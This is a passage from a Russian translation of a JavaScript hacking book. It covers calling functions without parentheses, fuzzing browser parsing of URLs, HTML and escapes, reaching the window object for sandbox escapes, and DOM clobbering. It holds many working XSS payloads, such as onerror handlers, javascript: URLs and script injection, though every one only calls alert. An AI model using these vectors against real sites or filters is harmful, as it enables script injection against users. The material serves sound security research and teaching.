С помощью этого приёма и объекта `Reflect` можно вызвать практически любую функцию с любыми аргументами. Что же такое `Reflect`? Он позволяет выполнять над любым объектом такие операции, как вызов функции, чтение и запись свойств. Например, его можно применять вместо `call` и `apply`, поскольку в нём есть собственный метод `apply`, позволяющий вызывать функции для любого объекта. Ему просто передаются функция, объект и аргументы, с которыми нужно вызвать функцию. Как уже сказано, `Reflect` поддерживает и другие операции, но пока сосредоточимся на методе `apply`.

Рисунок 48. `Reflect.apply` с `call` в роли тегового шаблона

```
Reflect.apply.call`${alert}${window}${[1337]}`//alert вызывается со значением 1337
```

Разберём происходящее. Мы передаём вызываемую функцию, в данном случае `alert`, затем значение `this` для неё, то есть `window`, что предотвращает ошибку `illegal invocation`, и, наконец, массив аргументов, которые хотим передать функции. Как говорилось выше, `call` нужен, чтобы первым аргументом не оказался пустой массив строк. Метод `Reflect.apply` не требует определённого значения `this` и охотно выполняется с любым объектом, назначенным в качестве `this`.

Аналогично можно выполнять и другие операции, например запись. Метод `set` объекта `Reflect` позволяет произвести операцию записи над любым объектом. Продемонстрируем это присваиванием объекту `location`.

Рисунок 49. `Reflect.set` **с** `call` **в роли тегового шаблона**

```
Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}`
//присваивает URL с протоколом javascript
```

Методу `set` требуется допустимый объект в первом аргументе, здесь это `location`, имя свойства во втором и присваиваемое значение в третьем.

2.5. Символ hasInstance

Последний приём, который я хочу обсудить, использует символ `hasInstance`. Символы позволяют создавать уникальные ключи свойств и гарантируют уникальность ключа. Существуют встроенные символы для различных операций. JavaScript применяет их, чтобы не вводить специальные свойства, способные конфликтовать с уже существующим кодом в интернете. Символ `hasInstance` позволяет настроить поведение оператора `instanceof`. Если определить этот символ, левый операнд будет передан функции, указанной в символе. Так появляется изящный способ выполнять JavaScript без круглых скобок.

Рисунок 50. Изменение результата оператора `instanceof` **с помощью символа** `hasInstance`

```
'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}//вызывает alert(1337)
```

В примере полезная нагрузка задаётся строкой перед оператором `instanceof`. Затем создаётся литерал объекта с символом `hasInstance`, которому назначена функция `eval`. Когда оператор `instanceof` выполняется со строкой и объектом, строка передаётся `eval`, после чего вызывается `alert`. Символ можно использовать таким образом и без квадратных скобок внутри имени свойства.

Рисунок 51. Изменение результата оператора `instanceof` **с помощью символа** `hasInstance`

```
'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval}//вызывает alert(1337)
```

2.6. Итоги

Эта глава показала, как определить цель и подцели внутри неё. Благодаря этому вы быстро изучали различные возможности JavaScript и не сидели перед пустым экраном. Ясные цели помогают сосредоточиться на интересных возможностях и постоянно учиться. В этой главе мы познакомились с обработчиком `onerror` и способами злоупотребления им для выполнения JavaScript без круглых скобок, затем перешли к теговым шаблонным строкам и обнаружили удивительное поведение подстановок, которые передают функциям аргументы вместе с их типами, а в завершение рассмотрели символ `hasInstance` и его применение в хакинге JavaScript.

Глава 3. Фаззинг

3.1. Истина

Когда речь заходит о фаззинге, часто предполагают, что он нужен для обнаружения уязвимостей, пригодных для эксплуатации, или сбоев. Разумеется, фаззинг можно использовать и так, и прежде мне доводилось находить с его помощью уязвимости. Однако фаззинг также позволяет исследовать поведение браузеров, и именно этому посвящена данная глава. Он сэкономит вам немало времени и поможет очень быстро расширить знания JavaScript. Нередко возникает соблазн считать спецификацию источником истины о конкретном поведении JavaScript. Это неверный образ мыслей: у разных браузеров могут быть собственные особенности, не соответствующие спецификации, либо реализация может оказаться ошибочной. Я не призываю отказаться от спецификации. Я лишь советую не принимать её на веру и выяснять истину с помощью фаззинга.

Моим первым опытом фаззинга поведения стал поиск символов, разрешённых в URL с протоколом JavaScript. Сначала я создавал такой URL в атрибуте `href` ссылки, вручную внедрял HTML-сущности и наводил указатель на ссылку, проверяя, сохранился ли протокол JavaScript. Затем я подумал, что должен существовать способ получше. В то время мне казалось, что лучше всего написать инструмент на серверном языке вроде PHP. Я создал фаззер, который порциями перебирал символы и сообщал результаты. Это происходило в 2008 году, и инструмент нашёл множество интересного.

Рисунок 52. URL JavaScript с сущностями внутри

```
jav&#56325ascript:al&#56325ert(1)//работало в Firefox 2!
```

Это прекрасный пример того, зачем нужен фаззинг: для обнаружения ошибки вручную пришлось бы отредактировать более 56 000 сущностей. И это при условии, что вы хотите проверять только сущности, а не исходные символы. Фаззинг существенно упрощает жизнь. В 2008 году компьютеры были гораздо медленнее нынешних, к тому же у меня был никудышный медленный ноутбук, поэтому приходилось обрабатывать данные порциями. Сегодня компьютеры и браузеры намного быстрее: буквально за несколько секунд можно проверить миллионы символов.

3.2. Фаззинг URL JavaScript

С появлением современных браузеров мой подход к фаззингу изменился: теперь я использую `innerHTML` и свойства DOM. Необходимы оба варианта, поскольку они идут по разным путям исполнения и дают разные результаты. Предположим, мы хотим фаззить URL JavaScript в современном браузере. Первый способ использует DOM.

Рисунок 53. Фаззинг URL JavaScript

```
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
    anchor.href = `javascript${String.fromCodePoint(i)}:`;
    if(anchor.protocol === 'javascript:') {
    log.push(i);
    }
}
console.log(log)//9,10,13,58
```

Разберём этот довольно простой код. Сначала создаются массив и ссылка, затем перебираются все возможные кодовые позиции Unicode, которых более миллиона. После этого мы присваиваем `href`, вставляя символ или символы после строки `javascript` с помощью функции `String.fromCodePoint`. Свойство `protocol` проверяет, действительно ли созданная ссылка использует протокол JavaScript. Поразительно, но браузер завершает операцию за несколько секунд. Если вы, как и я, достаточно стары и помните времена, когда подобное просто вызывало отказ браузера в обслуживании, это особенно впечатляет. Для фаззинга другой части `href` достаточно переместить подстановку. Проверим начало строки JavaScript, изменив её так:

Рисунок 54. Изменение положения фаззинговой строки

```
anchor.href = `${String.fromCodePoint(i)}javascript:`;
```

При повторном запуске получаются другие результаты.

```
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
```

Символов гораздо больше. Обратите внимание на NULL в начале: код символа 0 обозначает NULL, если представить его символом. Это особенность пути через DOM, которая не работает в обычном HTML. Именно поэтому необходимо фаззить как DOM, так и `innerHTML`. Получив интересные результаты фаззинга, прежде всего нужно их подтвердить. Сделать это легко: вручную заново создайте DOM, который проверял фаззер. Выберем случайную кодовую позицию, сгенерируем для неё DOM-код и щёлкнем ссылку, чтобы убедиться в его работоспособности.

Рисунок 55. Символ перевода страницы перед протоколом

```
let anchor = document.createElement('a');
anchor.href = `${String.fromCodePoint(12)}javascript:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)
```

Я выбрал кодовую позицию 12, то есть перевод страницы, создал URL JavaScript, вызывающий `alert`, добавил к ссылке текст и, наконец, поместил её в элемент `body`. При щелчке ссылка должна вызвать `alert`; тем самым вы подтверждаете, что фаззинговый код действительно работает. Поэкспериментируйте с разными кодовыми позициями и убедитесь, что всё действует как задумано. Стоит задать себе два вопроса: «Можно ли использовать несколько символов?» и «Можно ли использовать несколько символов в разных позициях?». Ответить на них я оставляю вам в качестве упражнения.

При работе с DOM следует помнить, что HTML-сущности не декодируются при непосредственном изменении свойств, за исключением свойств, относящихся к HTML. Поэтому нет смысла пытаться фаззить HTML-сущности через свойство атрибута `href`. Для этого потребуется `innerHTML`. Проверим тот же символ в HTML.

Рисунок 56. Символ перевода страницы перед протоколом

```
<a href="&#12;javascript:alert(1337)">Test</a><!-- Протокол JavaScript работает -->
```

Код работает, поэтому обычно результаты, полученные через DOM, можно применить в HTML с помощью сущностей. Но, как уже отмечалось, есть исключение. Помните NULL в начале? Он работает в DOM, но не в HTML.

Рисунок 57. Нулевая сущность не работает в HTML

```
<a href="&#0;javascript:alert(1337)">Test</a><!-- Протокол JavaScript не работает -->
```

Этот код не работает, что ещё раз показывает важность подтверждения результатов и проверки как в DOM, так и в `innerHTML` либо HTML. Здесь имеется немало возможностей для автоматизации. Чтобы не проверять результаты вручную каждый раз, разумно воспользоваться Puppeteer или другой платформой.

3.3. Фаззинг URL HTTP

Фаззить можно и URL HTTP, но вместо протокола для проверки успеха следует использовать имя хоста. Как и прежде, цикл `for` перебирает кодовые позиции Unicode, внедряет символ в `href`, а затем проверяет совпадение имени хоста с ожидаемым значением.

Рисунок 58. Фаззинг URL HTTP

```
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `${String.fromCodePoint(i)}https://garethheyes.co.uk`;
    if(a.hostname === 'garethheyes.co.uk'){
    log.push(i);
    }
}
console.log(log)
//0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32
```

Код показывает, что URL HTTP поддерживают в начале ровно те же символы, что и URL JavaScript. Снова обратите внимание: символ NULL разрешён в DOM, но не в контексте HTML. Для поиска открытых перенаправлений на стороне клиента, которые могут пригодиться в цепочках ошибок, можно фаззить URL без явного указания протокола. Если вы не знакомы с ними, такие URL позволяют ссылаться на внешний адрес с помощью двух прямых косых черт. Они наследуют протокол текущей страницы: например, если сайт использует `https://`, URL без явного протокола тоже будет применять его. Проверим, какие символы можно поместить между косыми чертами.

Рисунок 59. Фаззинг URL HTTP

```
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `/${String.fromCodePoint(i)}/garethheyes.co.uk`;
    if(a.hostname === 'garethheyes.co.uk'){
        log.push(i);
    }
}
input.value=log//9,10,13,47,92
```

Как видно, между косыми чертами можно помещать пробельные символы, а обратная косая черта действует так же, как прямая.

3.4. Фаззинг HTML

Мы увидели, как фаззить URL JavaScript, но тот же подход применим и к HTML. API `innerHTML` позволяет чрезвычайно быстро находить особенности синтаксического анализатора, подобно тому как мы делали это со свойствами DOM. Прежде чем начинать, полезно сформулировать вопрос, который станет целью фаззинга.

Например, я спросил себя: «Какие символы разрешены при закрытии комментариев HTML?». Подумаем, как получить ответ. Если комментарий HTML закрыт, следующий за ним тег должен отображаться. Значит, достаточно проверить через API `querySelector`, был ли отображён элемент HTML.

Рисунок 60. Фаззинг комментариев HTML

```
let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
  div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
if(div.querySelector('span')){
log.push(i);
}
}
console.log(log)//33,45,62
```

Код очень похож на фаззинг свойств DOM, хотя может выполняться немного дольше, поскольку браузеру приходится делать больше работы. Мы создаём элемент `div`, снова перебираем все кодовые позиции Unicode, но теперь с помощью `innerHTML` создаём комментарий HTML. Непосредственно перед закрывающим знаком «больше» внедряется символ Unicode. В исходном объяснении сказано, что, если комментарий закрыт, следующий `span` не будет отображён, а `querySelector` вернёт `null`. Затем автор поясняет, что при обнаружении `span` результат записывается, чтобы определить успешное закрытие комментария. Я проверил это в Chrome: после двух дефисов комментарий закрывает любой из следующих символов: `!-->`.

> **Примечание переводчика.** В этих двух предложениях исходник противоречит приведённому коду: условие `if(div.querySelector('span'))` записывает результат именно тогда, когда `span` найден.

Попробуйте другие браузеры и поэкспериментируйте с перемещением подстановки в разные части закрывающего тега комментария. Несколько лет назад я запускал очень похожий код в Firefox и обнаружил, что перед знаком «больше» можно использовать переводы строк. `querySelector` можно применять и противоположным образом: проверить, сработал ли открывающий тег комментария, удостоверившись, что следующий `span` не отображён. Именно этим методом я нашёл другую ошибку разбора Firefox, позволявшую вставлять NULL между дефисами открывающего тега комментария.

Рисунок 61. Фаззинг комментариев HTML после дефиса

```
let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
    div.innerHTML=`<!-${String.fromCodePoint(i)}- ><span></span>-->`;
    if(!div.querySelector('span')){
        log.push(i);
    }
}
console.lgo(log)//45
```

Код совпадает с предыдущим, за исключением того, что подстановка находится внутри открывающего тега комментария, а `querySelector` проверяет отсутствие `span`. Результат должен быть один: 45, код дефиса.

Если результатов больше, вы нашли ошибку браузера. При таком фаззинге важно удостовериться, что сгенерированная разметка не даёт ложных срабатываний. Обратите внимание на намеренно поставленный знак «больше» после пробела и дефиса. Он не позволяет различным фаззинговым символам поглотить `span` как часть другого тега. Подобное защитное программирование экономит время.

3.5. Фаззинг известного поведения

Если вы не знаете, с чего начать поиск нового поведения браузера, всегда можно фаззить уже известное и искать отклонения. Хорошая отправная точка - пробельные символы. Нужно построить строку, которая будет работать только в том случае, если проверяемый символ является пробельным. Лучший найденный мною способ использует вызов функции. Между идентификатором функции и круглыми скобками разрешены пробелы, поэтому можно определить функцию в блоке `try/catch`, а затем через `eval` попытаться вызвать её, поместив добавленный символ между идентификатором и скобками.

Рисунок 62. Фаззинг символов между идентификатором и круглыми скобками

```
function x(){}

log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`x${String.fromCodePoint(i)}()`)
        log.push(i)
    }catch(e){}
}

console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,
    8233,8239,8287,12288,65279
```

Символов неожиданно много. Правда, опыт доказывает лишь то, что пробельные символы допустимы между идентификатором и круглыми скобками. Для всестороннего фаззинга пришлось бы проверять символ в различных позициях и контекстах. Предлагаю вам сделать это самостоятельно и испытать разные браузеры. Обнаружив неожиданное поведение, вы можете сообщить о нём разработчикам. Для чего годятся такие отклонения? Раньше я использовал их для выхода из изолированных сред JavaScript. Если синтаксический анализатор можно заставить ошибочно лексически разобрать пробельный символ как непробельный, один и тот же JavaScript будет по-разному разобран изолированной средой и браузером либо Node.js.

Можно также фаззить строки парами символов. Перебор пар одинаковых символов обычно выполняется примерно с той же скоростью; замедление начинается при вложенном фаззинге. Возможно, придётся подождать несколько лет, пока оно станет практичным. Фаззить строки довольно легко: используйте пару символов и проверьте, наблюдается ли поведение, подобное строковому. Один из способов - внутри блока `try/catch` вызвать `eval` и посмотреть, не перестаёт ли набор случайных символов вызывать исключение, когда окружён проверяемой парой. Это укажет на строкоподобное поведение.

Рисунок 63. Фаззинг строкоподобного поведения

```
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
        log.push(i)
    }catch(e){}
}
console.log(log)//34,39,47,96
```

Вы ожидали три символа? Можете назвать ещё один, вызывающий строкоподобное поведение? Конечно, это регулярные выражения. Пара прямых косых черт окружает символы, и исключения не возникает, потому что они воспринимаются как регулярное выражение. Chrome выполняет эту операцию довольно быстро, а Firefox на момент проверки был ужасно медленным.

Тот же принцип позволяет фаззить однострочные комментарии. Подстановки нужно разместить не по краям случайной строки, а перед ней. Найдём однострочные комментарии.

Рисунок 64. Фаззинг однострочных комментариев

```
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`${String.fromCodePoint(i,i)}%$£234$`)
        log.push(i)
    }catch(e){}
}
console.log(log)//47
```

Как и ожидалось, обнаружена прямая косая черта. Создание фаззинговых векторов для поиска интересного поведения - настоящее мастерство. Нужно учитывать, как и в каком контексте будет выполняться вектор, чтобы избежать ложных срабатываний.

В завершение раздела мы применим вложенный фаззинг и найдём любопытное поведение комментариев JavaScript, о котором вы, возможно, не знаете. Вложенный фаззинг сложен, поскольку включает гораздо больше символов, а современные браузеры пока недостаточно мощны, чтобы выполнять несколько циклов `for` по кодовым позициям свыше `0xff`. Но если сократить число проверяемых позиций, всё равно можно найти кое-что интересное.

Рисунок 65. Фаззинг однострочных комментариев

```
log=[];
for(let i=0;i<=0xff;i++){
    for(let j=0;j<=0xfff;j++){
        try {
            eval(`${String.fromCodePoint(i,j)}%$£234$`)
            log.push([i,j])
        }catch(e){}
    }
}
console.log(log)//[35,33],[47,47]
```

На этот раз использованы два вложенных цикла `for`; ради производительности пришлось, как уже говорилось, ограничить число символов. Затем с помощью `fromCodePoint` добавляются два символа, по одному из диапазона каждого цикла, а после них помещается мусор, доказывающий, что действует комментарий. В журнал добавляется массив из обоих символов, поскольку для создания комментария необходимы оба. Ожидаемо получились две прямые косые черты, но что это за коды 35 и 33? Это `#!`. Они образуют однострочный комментарий при условии, что находятся в самом начале выполняемого JavaScript. Результат можно подтвердить, попытавшись выполнить `alert` при наличии такого комментария.

Рисунок 66. Поведение shebang в JavaScript

```
#!
alert(1337)//выполняет alert со значением 1337
```

Если добавить перед знаком решётки любой символ, код перестанет работать.

Рисунок 67. Shebang работает только в начале

```
123
#!
alert(0)//alert вызвана не будет.
```

В примере комментарий не работает, если перед знаком решётки имеются какие-либо символы. Вероятно, shebang был добавлен как последовательность комментария потому, что JavaScript применяют в сценариях оболочки с Node.js, где эту строку обычно требуется игнорировать.

3.6. Фаззинг управляющих последовательностей

Пытаясь взламывать изолированные среды JavaScript, я занялся фаззингом различных управляющих последовательностей, в том числе последовательностей Unicode, рассмотренных во вводной главе. Это привело к обнаружению интересного поведения разных браузеров. Я выяснил, что Safari не выдавал исключение при незавершённых последовательностях Unicode в строках.

Старый Opera, существовавший до перехода на Chromium, также неправильно разбирал последовательности Unicode, переданные `eval`. При удачном стечении обстоятельств такое поведение позволяет выйти из изолированной среды. Но как его найти? Конечно, фаззингом. Нужно только учитывать контекст проверки и возможную необходимость двойного кодирования. Проведём простой фаззинг последовательности Unicode.

Рисунок 68. Фаззинг управляющих последовательностей Unicode

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try{
        eval(`\\u{${String.fromCodePoint(i)}0061}`);
        log.push(i);
    }catch(e){}
}
console.log(log)//48
```

Код, как и ранее в этой главе, перебирает все символы Unicode. На этот раз определена переменная `a`, позволяющая выяснить, выдаёт ли `eval` исключение. Попытка обратиться к неопределённой переменной приводит в `eval` к исключению, а нам требуется узнать, удалось ли обратиться к `a`. Мы применяем форму `\u{}` и экранируем обратную косую черту, поскольку хотим, чтобы последовательность Unicode интерпретировалась функцией `eval`. В подстановку добавляется фаззинговый символ. Проверка всех символов даёт единственный результат 48, то есть код цифры ноль. Таким образом, исключительно с помощью фаззинга установлено, что данная форма последовательности Unicode допускает ведущие нули.

Фаззить можно не только символы, но и шестнадцатеричные значения, изменив подстановку. У каждого числового литерала есть метод `toString`, которому можно передать основание системы счисления от 2 до 36. Для шестнадцатеричной записи используется основание 16, поэтому именно его нужно передать, чтобы преобразовать целое число в шестнадцатеричную форму.

Рисунок 69. Фаззинг управляющих последовательностей Unicode

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`\\u{${i.toString(16)}}`);
        log.push(i);
    } catch(e){}
}
console.log(log)//97,105
```

Код перебирает все кодовые позиции и преобразует значение в шестнадцатеричную форму, проверяя, даст ли последовательность Unicode ссылку на переменную. Получаются два результата: коды 97 и 105, соответствующие объявленным нами переменным `a` и `i`. Можно сочетать фаззинговые строки с символами и шестнадцатеричными значениями, выясняя, разрешает ли движок определённые символы до, внутри или после шестнадцатеричного значения.

Проверим, разрешает ли движок JavaScript какой-либо символ внутри шестнадцатеричного значения.

Рисунок 70. Фаззинг управляющих последовательностей Unicode в стиле ES6

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try{
        eval(`\\u{${String.fromCodePoint(i)}61}`);
        log.push(i);
    }catch(e){}
}
console.log(log)//48
```

В коде подстановка добавляет символ перед шестнадцатеричным значением последовательности Unicode. В Chrome получается единственный ожидаемый результат: код 48, то есть цифра ноль. Однако стоит проверить и другие браузеры, чтобы узнать, совпадут ли результаты.

3.7. Итоги

Надеюсь, эта глава научила вас новому умению - создавать фаззинговые векторы. Мы говорили о том, что не следует слепо доверять спецификациям и нужно самостоятельно выяснять, как работает JavaScript. Я показал, как с помощью свойств DOM фаззить URL JavaScript и HTTP. Мы рассмотрели применение `innerHTML` для исследования разбора HTML. Наконец, мы фаззили известное поведение в поисках отклонений и обнаружили сравнительно малоизвестный вид однострочного комментария JavaScript. После этого мы научились фаззить последовательности Unicode: использовать шестнадцатеричные значения и вставлять символы внутрь сгенерированной записи, чтобы установить, разрешает ли движок JavaScript пробельные или иные символы в управляющей последовательности Unicode.

Глава 4. DOM для хакеров

4.1. Где моё окно?

В этой главе мы будем взламывать DOM, чтобы лучше его понять и, надеюсь, освоить новые, пока неизвестные вам приёмы. Первая цель - получить объект `window` через DOM. Зачем нам окно? Объект `window` в браузере и глобальный объект в Node чрезвычайно важны для выхода из изолированных сред: через них можно добраться до глобально определённых функций вроде `eval`, выполнить произвольный JavaScript и тем самым обойти изоляцию. У объекта `window` много псевдонимов: `frames`, `globalThis`, `parent`, `self`, `top`. Если сайт не открыт во фрейме, `parent` и `top` указывают на `window`. Если открыт, `top` указывает на самое верхнее окно независимо от того, относится ли оно к другому источнику. Свойство `parent`, как и следует ожидать, указывает на родительское окно текущей страницы во фрейме. Получить `window` можно и из узла DOM: `document.defaultView` хранит ссылку на объект текущего окна. Попробуйте это в консоли браузера.

Рисунок 71. Вызов `alert` через `defaultView`

```
document.defaultView.alert(1337)//вызывает alert со значением 1337
```

Код получает ссылку на `window` через свойство `defaultView` объекта `document`, а затем вызывает `alert`. Свойство `defaultView` имеется только у `document`, однако существует хитрый способ получить `document` из узла DOM, а затем обратиться к `defaultView`. Для этого служит свойство `ownerDocument`, которое, как подсказывает название, возвращает объект документа, которому принадлежит узел DOM.

Рисунок 72. Доступ к `defaultView` через `ownerDocument`

```
let node = document.createElement('div');
node.ownerDocument.defaultView.alert(1337)
```

Эти знания позволили взломать немало изолированных сред. Обычно доступ к `window` блокируется, а обходные пути позволяют получить его снова.

Ещё один способ получить объект окна связан с событиями. При использовании события на узле DOM обработчик определяется с аргументом события. Это сделано из-за того, что во времена широкой популярности Internet Explorer применял глобальную переменную `event`. Современные браузеры передают событие аргументом обработчика, поэтому при обращении к нему используется локальная переменная. Любопытно, что глобальный объект `event` существует и сегодня, хотя объявлен устаревшим. В Chrome у каждого объекта события ошибки имелось свойство `path`: массив объектов, приведших к созданию события. Последним элементом массива был `window`, и для его получения достаточно было прочитать этот элемент. Здесь удобно применить функцию `pop()`.

Рисунок 73. Получение `window` через `event.path`

```
<img src onerror=event.path.pop().alert(1337)>
```

Впоследствии Chrome удалил свойство `path` из объекта события. К счастью, вместо него можно использовать стандартизированный метод `composedPath()`, показанный ниже.

В других браузерах стандартизированный `composedPath()` возвращает массив, эквивалентный прежнему свойству `path` в Chrome. Значит, во всех браузерах можно вызвать `composedPath`, взять последний элемент массива и получить объект `window`.

Рисунок 74. Получение `window` через `composedPath()`

```
<img src onerror=event.composedPath().pop().alert(1337)>
```

Помните, я говорил, что в каждый обработчик добавляется аргумент с объектом события? Для элементов SVG существует особый случай. Браузер добавляет не `event`, а `evt`, поэтому через этот аргумент можно получить объект окна точно так же, как через `path` или `composedPath()`.

Рисунок 75. Доступ к объекту события в SVG через `evt`

```
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>
```

Для этого открытия мне не пришлось читать исходный код Chrome: я посмотрел код обработчика события и увидел там определение. Выполнив следующий код в Chrome, можно увидеть, как определяется функция-обработчик.

Рисунок 76. Получение исходного кода обработчика `onerror`

```
<svg><image href=1 onerror=alert(onerror)>
```

Получится следующий код.

Рисунок 77. Исходный код обработчика `onerror`

```
function onerror(evt) {//ссылка на событие хранится в evt
    alert(onerror)
}
```

Итак, `evt` указывает на событие. Похоже, это верно для элементов SVG, но существуют ли другие случаи? Стоит потратить время и поискать их, поскольку такие варианты полезны, когда изолированная среда JavaScript запрещает доступ к объекту события.

Завершая раздел, рассмотрим объект `Error` и получение объекта `window` в Chrome через `prepareStackTrace`. Функция обратного вызова `prepareStackTrace` позволяет настраивать трассировки стека, что очень удобно для разработчиков. Ей предоставляется функция с двумя аргументами: сообщением об ошибке и массивом объектов `CallSite`. Объект `CallSite` содержит свойства и методы, относящиеся к трассировке. Например, флаг `isEval` показывает, вызван ли текущий `CallSite` внутри функции `eval`. Но нас прежде всего интересует получение объекта окна. К счастью, Chrome предоставляет полезный метод `getThis()` объекта `CallSite`. Если выполняемый код не определил `this`, метод вернёт `window`. Посмотрим на него в действии.

Рисунок 78. Получение объекта `window` из объекта `CallSite`

```
Error.prepareStackTrace=function(error, callSites){
  callSites.shift().getThis().alert(1337);
};
new Error().stack
```

Мы определяем функцию обратного вызова. Она берёт первый объект `CallSite` из массива, вызывает `getThis()`, получает объект `window`, а затем обращается к функции `alert()` и вызывает её. Функция обратного вызова `prepareStackTrace` выполняется только при обращении к свойству `stack` объекта `Error`.

4.2. Область видимости события HTML

Когда событие JavaScript выполняется на элементе HTML, браузер помещает выполняемую функцию в области видимости элемента и объекта `document`. Поэтому можно пользоваться сокращениями и указывать только свойства текущего объекта или `document`, не записывая полный путь. По сути, браузер делает следующее.

Рисунок 79. Область видимости события

```
with(document) {
   with(element) {
    //выполняемое событие
    }
}
```

Помните свойство `defaultView` документа? Внутри события его можно указывать само по себе. Таким образом, для доступа к `window` достаточно одного этого свойства.

Рисунок 80. Использование `defaultView` в области видимости события

```
<img/src/onerror=defaultView.alert(1337)>
```

Это работает благодаря показанным инструкциям `with`. Выполняя событие, браузер ищет `defaultView` у элемента изображения. Не найдя его там, он проверяет объект `document`, где свойство существует, и возвращает `document.defaultView`. Перебрав свойства `document`, можно увидеть, что именно доступно. Для этого подойдёт собственный переборщик или простой вызов `console.dir(document)` в консоли браузера.

Благодаря области видимости события доступны и другие функции DOM. Ниже мы создаём сценарий, добавляем к нему код и помещаем его в документ, ни разу не указывая полный путь через `document`.

Рисунок 81. Функции DOM в области видимости события

```
<img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
```

Обратите внимание: здесь используется `appendChild()`, поскольку по крайней мере в Chrome функция `append` выдаст исключение, если не указать полный путь. `append()` принимает строку или узел. В действительности `appendChild()` выполнится для объекта изображения. Метод имеется и у `document`, но изображение имеет приоритет, поэтому сценарий будет добавлен к объекту изображения, а не к документу.

4.3. Перезапись DOM

Перезапись DOM (DOM clobbering) - приём, использующий распространённый шаблон кода: программа проверяет глобальную переменную и при её отсутствии идёт по другому пути. Идея состоит в том, чтобы перезаписать несуществующую глобальную переменную элементом DOM, чаще всего ссылкой. Представьте следующий код.

Рисунок 82. Пример JavaScript, уязвимого для перезаписи DOM

```
let url = window.currentUrl || 'http:///example.com';
```

На первый взгляд код безобиден, но `window.currentUrl` управляется не только через глобальную переменную, но и через элемент DOM. На заре веб-дизайна сайты часто обращались к элементам формы по атрибуту `id`. Возможность Internet Explorer и Netscape превращала атрибут `id` или `name` элемента формы в глобальную переменную, упрощая работу разработчиков. Именно эта возможность открывает путь к перезаписи DOM. Вероятно, вы видели такой код.

Рисунок 83. Элементы формы в глобальной области видимости

```
<form id=searchForm>
</form>
<script>
searchForm.submit()
</script>
```

Браузер создаёт глобальную переменную `searchForm`, позволяя ссылаться на форму без `getElementById()`. Атрибут `name` даёт тот же результат с одним важным отличием: он также определяет свойство объекта `document`.

Рисунок 84. Создание глобальных ссылок атрибутами `name` и `id`

```
<form id=x></form><form name=y></form>
<script>
alert(x)//[object HTMLFormElement]
alert(typeof document.x)
alert(y)//[object HTMLFormElement]
alert(document.y)//[object HTMLFormElement]
</script>
```

Обе формы создают глобальные переменные: `x` и `y` перезаписываются элементами формы. Вторая строка JavaScript проверяет свойство `x` у документа, но получает `undefined`, поскольку элементы, перезаписанные через `id`, не добавляют свойства к `document`. Последняя строка показывает, что `document.y` перезаписано формой. Перезаписывать глобальные переменные через `name` могут только определённые элементы: `embed`, `form`, `iframe`, `image`, `img` и `object`.

Элементы `a` делают перезапись DOM ещё интереснее: атрибут `href` позволяет менять значение перезаписанного объекта. При перезаписи переменной формой строковое представление обычно равно `[object HTMLFormElement]`, а у ссылки `toString` возвращает её `href`.

Рисунок 85. Перезапись значений с помощью ссылок

```
<a href="clobbered:1337" id=x></a>
<script>
alert(x);//clobbered:1337
alert(typeof x);//object
</script>
```

При строковом обращении глобальная переменная `x` содержит `clobbered:1337`. Я намеренно уточнил «при строковом обращении»: `x` по-прежнему является объектом ссылки, просто его `toString` возвращает `href` элемента. Кроме того, при перезаписи DOM можно получить значения лишь известных атрибутов HTML. Например, `x.notAnAttribute` не сработает, а `x.title` допустимо. Много лет назад я поставил себе цель обойти это правило и выяснил, что помогут коллекции. Коллекции DOM - массивоподобные объекты с элементами HTML. Несколько элементов с одинаковым `id` или `name` образуют коллекцию. Затем с помощью другого `id` или `name`, в зависимости от первоначально использованного атрибута, можно перезаписать второе свойство. Лучше всего показать это примером.

Рисунок 86. Перезапись нескольких свойств через коллекции DOM

```
<a id=x>
<a id=x name=y href=clobbered:1337>
<script>
alert(x.y)//clobbered:1337
</script>
```

У двух ссылок одинаковое значение `x` атрибута `id`, поэтому образуется коллекция DOM. У второй ссылки имеется `name`. К элементам коллекции можно обращаться по имени или индексу; здесь вторая ссылка выбрана по имени `y`. Можно применить и индекс.

Рисунок 87. Перезапись индексов через коллекции DOM

```
<a id=x>
<a id=x name=y href=clobbered:1337>
<script>
alert(x[1])//clobbered:1337
</script>
```

Код получает коллекцию `x` и её второй элемент, поскольку индексация начинается с нуля. Так можно перезаписать `x[1]` управляемым значением.

С помощью ссылок свойства удаётся перезаписывать лишь на глубину двух уровней. Третья ссылка создаст коллекцию, но обратиться к ней можно только по индексу.

Рисунок 88. Перезапись индексов через коллекции DOM

```
<a id=x>
<a id=x name=y href=clobbered:1>
<a id=x name=y href=clobbered:2>

<script>
alert(x[2])//clobbered:2
</script>
```

Создаётся коллекция из трёх ссылок. Третья индексируется числом 2, поскольку отсчёт начинается с нуля. Если присвоить третьей ссылке `name=z`, это не сработает: атрибут `name` не создаёт вложенную коллекцию. Для перезаписи на глубине трёх уровней нужен другой элемент, например форма.

Рисунок 89. Перезапись трёх уровней

```
<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>
```

